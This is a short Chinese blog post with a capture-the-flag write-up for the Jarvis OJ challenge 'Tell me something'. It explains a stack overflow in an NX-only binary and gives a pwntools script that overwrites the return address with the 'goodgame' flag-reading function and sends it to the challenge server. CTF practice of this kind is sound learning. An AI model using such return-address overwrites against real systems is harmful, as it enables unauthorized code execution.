Jarvis OJ---Tell me something

2017-09-24  本文已影响0人  yahoo0o0

这是一个简单的栈溢出,这个程序只开启了NX防御机制,在IDA反汇编之后,可以看到一个flag.txt的文件,进去之后我们可以看到在函数goodgame之中调用了fopen函数,来打开flag文件

image.png

所以我们直接控制将返回的地址覆盖为goodgame的地址。

from pwn import *
debug = False
local = False
x86 = False
if debug:
    context.log_level = 'debug'
else:
    context.log_level = 'info'
if x86:
    libc = ELF('/lib32/libc.so.6')
else:
    libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
if local:
    p = process('./guestbook')
else:
    p = remote('pwn.jarvisoj.com',9876)

goodgame = 0x0400620
payload = 'a'*0x88 + p64(goodgame) 
p.recvuntil(":")
p.sendline(payload)
p.interactive()
上一篇下一篇

猜你喜欢

热点阅读